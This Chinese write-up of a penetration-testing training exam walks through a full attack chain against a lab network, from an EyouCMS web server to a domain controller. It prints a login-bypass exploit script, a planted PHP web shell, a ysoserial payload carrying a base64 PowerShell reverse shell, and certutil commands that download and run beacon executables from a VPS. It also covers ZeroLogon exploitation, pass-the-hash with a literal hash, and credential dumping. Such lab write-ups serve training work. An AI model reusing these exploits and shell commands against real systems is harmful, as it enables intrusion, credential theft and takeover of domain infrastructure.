暗月渗透测试十月份考核文章第一篇
暗月渗透测试十月份考核文章第一篇
0考核介绍
本次考核最终通过人数七人 达到预期目标
考核内容
本次考核使用在线靶靶场,主要考核从外网打点到内网域渗透的能力。
web:php代码审计 、java反序列化漏洞利用等。
内网:隧道应用、横向渗透、域渗透等 。
难度 中
拓扑图:
1一、Get Webshell
1、信息收集首先打开网站http://216.224.123.190/
从网站底部可以知道用的是EyouCms
知道网站指纹后,网上去搜索是否开源,以及爆出过的历史漏洞
2、登录后台找了一些文章后,做了一些尝试,最后还是发现一个绕过后台登录进入后台的文章比较靠谱
文章:https://www.cnblogs.com/Pan3a/p/14880225.html
利用exp:
from time import timeimport requestsclass eyoucms_login: def __init__(self, url): self.url = url self.req = requests.session() self.api_gettoken = index.php/?m=api&c=Ajax&a=get_token&name= self.header = { x-requested-with: XMLHttpRequest } def get_admin_id(self): res = self.req.get(self.url + self.api_gettoken + admin_id, headers=self.header) print(admin_id: + res.text) print(res.headers[Set-Cookie]) def get_admin_login_expire(self): while True: res = self.req.get(self.url + self.api_gettoken + admin_login_expire, headers=self.header) result = self.login_test() if result == ok: print(login success) break def get_admin_info_role_id(self): while True: res = self.req.get(self.url + self.api_gettoken + admin_info.role_id, headers=self.header) if res.text[:1] in [1, 2, 3, 4, 5, 6, 7, 8, 9]: pass else: print(admin_info.role_id:, res.text) break def login_test(self): res = self.req.get(self.url + login.php) if 管理系统 in res.text: return ok def run(self): self.get_admin_id() self.get_admin_info_role_id() self.get_admin_login_expire()if __name__ == __main__: url = http://216.224.123.190/ test = eyoucms_login(url) test.run()脚本运行完毕,将得到PHPSESSION作为请求包Cookie中的PHPSESSION进行发送进入后台
而后刷新页面成功进入后台
3、GetShell参考文章:https://www.zilyun.com/31010.html
漏洞存在于 更多功能中的模板管理中
修改template/pc/index.htm模板,将一句话木马写入
在文件末尾写入代码,当访问主页时就会触发改代码,将一句话内容写入到/uploads/allimg/2022buffer.php下
确认提交后访问一下主页后,再去访问webshell页面
2二、内网信息收集,Java反序列化攻击Data服务器
用蚁剑连接上Webshell后尝试执行命令,命令可以执行成功
查看当前用户权限
在目录C:/Users/Administrator/user.txt下轻松拿到第一个flag
mooonsec_flag{moonsec-6d4db5ff0c117864a02827bad3c361b9}
上传CS马上线到CS后继续操作
用CS自带mimikatz抓取账号Hash明文
丢到somd5网站上尝试破解,可以破解出来,但用不上
arp -a 查看通信,发现与192.168.22.146建立过通信
探测目标192.168.22.146端口开放情况,这里扫了全端口,实际不建议这么干
起初针对139,445,5985,47001端口做了许多攻击尝试,攻击无果后最终盯上了9999端口
通过netstat-nt也是能看到本机与目标9999端口建立连接
一开始看到桌面上有个QQClient.jar感觉有点可能也没太在意,最后没辙了转变思路来看看这个jar包,和桌面写着账号密码的txt文件
将jar下载本地,也不反编译了,直接用idea打开里边的字节码文件
其中一个类里就与目标9999端口建立了socket连接
那么猜测目标服务端就对接收的数据进行反序列化了,该项目源码在github上也找的到
源码:https://github.com/Carson-NNY/QQ-Simulation
server端的代码接收数据并进行反序列化,跟一开始的猜想也对上了
接下来就猜测目标的jdk版本及依赖环境,初步列出了urldns,8u20,cc1,cc6利用链
本来想用urldns测试是否能够反序列化成功,结果一直没响应,顾推测目标不出网
不出网就需要22.152Web这台机子起监听,利用powershell反弹上来
最后经过尝试得到了CC6利用链
利用su18师傅写的反序列化工具得到序列化数据,写入到文件当中
工具地址:https://github.com/su18/ysoserial
shell在线生成网址:https://shell.nctry.com/
其中base64内容就是反弹shell至某个端口,这里是反弹至22.152Web服务器的4788端口
java -jar "C:\Users\12593\Desktop\ysuserial-0.9-su18-all.jar" -g CommonsCollections6 -p "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADIAMgAuADEANQAyACIALAA0ADcAOAA4ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" > C:\Users\12593\Desktop\cc66.ser将cc66.ser文件上传至22.152Web,并上传nc工具
先用msf上线22.152Web后起个nc监听用来接收反弹shell
然后CS将cc66.ser数据发送到目标22.146Data的9999端口
shell type C:\Windows\Temp\cc66.ser | C:\Windows\Temp\nc -nv 192.168.22.1469999发送成功后,成功上线
查看ip,存在两张网卡
现在将该22.146data上线至CS,需要拿22.152Web作转发
在22.152 Web会话上新建一个转发监听器
并以该监听器生成一个.exe程序,上传至我的vps
将22.152Web 4455端口转发至我的vps4455端口,并在vps起个http服务用于让22.146data下载.exe
netsh interface portproxy add v4tov4 listenport=4455 connectaddress=1.xxx.xxx.40 connectport=445522.152data远程下载buffad.exe至本地
certutil -urlcache -split -f http://192.168.22.146:4455/buffad.exeC:\Windows\Temp\buffad.exeVPS也是成功接收到了请求
而后执行下载的.exe程序上线到CS
成功上线到CS
权限为system
在c:\users\administrator\user.txt拿到第二个flag
3三、CVE-2020-1472-ZeroLogon攻击域控
抓取明文Hash,只有本地用户的,没有域管的
破解出来密码是 QWEasd12300
定位域控
用当前用户密码尝试横向无果,直接使用CVE进行攻击,CVE-2020-1472-ZeroLogon
用CS在22.146data会话上做个socks代理,以便本地可以直接访问到10.10.10.137域控
检测发现存在该漏洞
利用exp将域控密码置为空
继续用脚本获取域控Hash
获取到hash后,利用wmiexec.py登录,获取shell
proxychains python3 wmiexec.py -hashesaad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752dadministrator@10.10.10.137然后继续将该域控上线至CS,以10.10.10.136data做转发
将192.168.22.146data 4488端口转发至192.168.22.152web 4488端口,继续转发至我的VPS
//192.168.22.146 data 进行操作netsh interface portproxy add v4tov4 listenport=4488 connectaddress=192.168.22.152 connectport=4488//192.168.22.152 Web 进行操作netsh interface portproxy add v4tov4 listenport=4488 connectaddress=1.xxx.xxx.40 connectport=4488ffad.exe将生成的CS马上传vps,在域控上进行下载
22.146data 另一张网卡为10.10.10.136,域控需要在这个ip段通信
certutil -urlcache -split -f http://10.10.10.136:4488/buffad2.exeC:\Windows\Temp\buffad2.exevps上也成功收到请求
运行C:\Windows\Temp\buffad2.exe进行上线
在c:\users\administrator\user.txt拿到最后一个flag
最终整个拓扑
最后记得将域控的hash恢复
导出sam文件到本地
reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.saveget system.saveget sam.saveget security.savedel /f system.savedel /f sam.savedel /f security.saveexit本地使用secretsdump.py获取hash
使用reinstall_original_pw.py将域控的hash恢复
proxychains python3 reinstall_original_pw.py ad 10.10.10.13714520c0c1757302373b1c4a622d81bda143f491e3bfe66db182877859e1351bec9ce21b3211d6a7677bb8f98a4d13b616636d7acd3f67ba2489f4b95ca8bf0af083d43bf0f13cfb44d40352d7503987e9f23547f5e17b1774b6affd5d0e852f3cc2b13c6cbd62d811e711a2e14cc55a91e7b689d3dd52aab02511c6ba4ca9125e99b6b60be01202c366af6ee0dd0a291fb99c2aa2658587867b748eb00934daacf7773e00c27b43b4cb06bf70096505a4814aa604351a75871af53e6e02ce581838979a3eed8ecfc6ad9d791e88909f70740958f834c112ed7f82146b5ffa37e619afa5e34ed365eb3493b1fc3353c76 最后,感谢月师傅对靶场的精心搭建与维护4关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏
5关于培训
需要渗透测试培训
扫一扫添加微信咨询
课程内容点击了解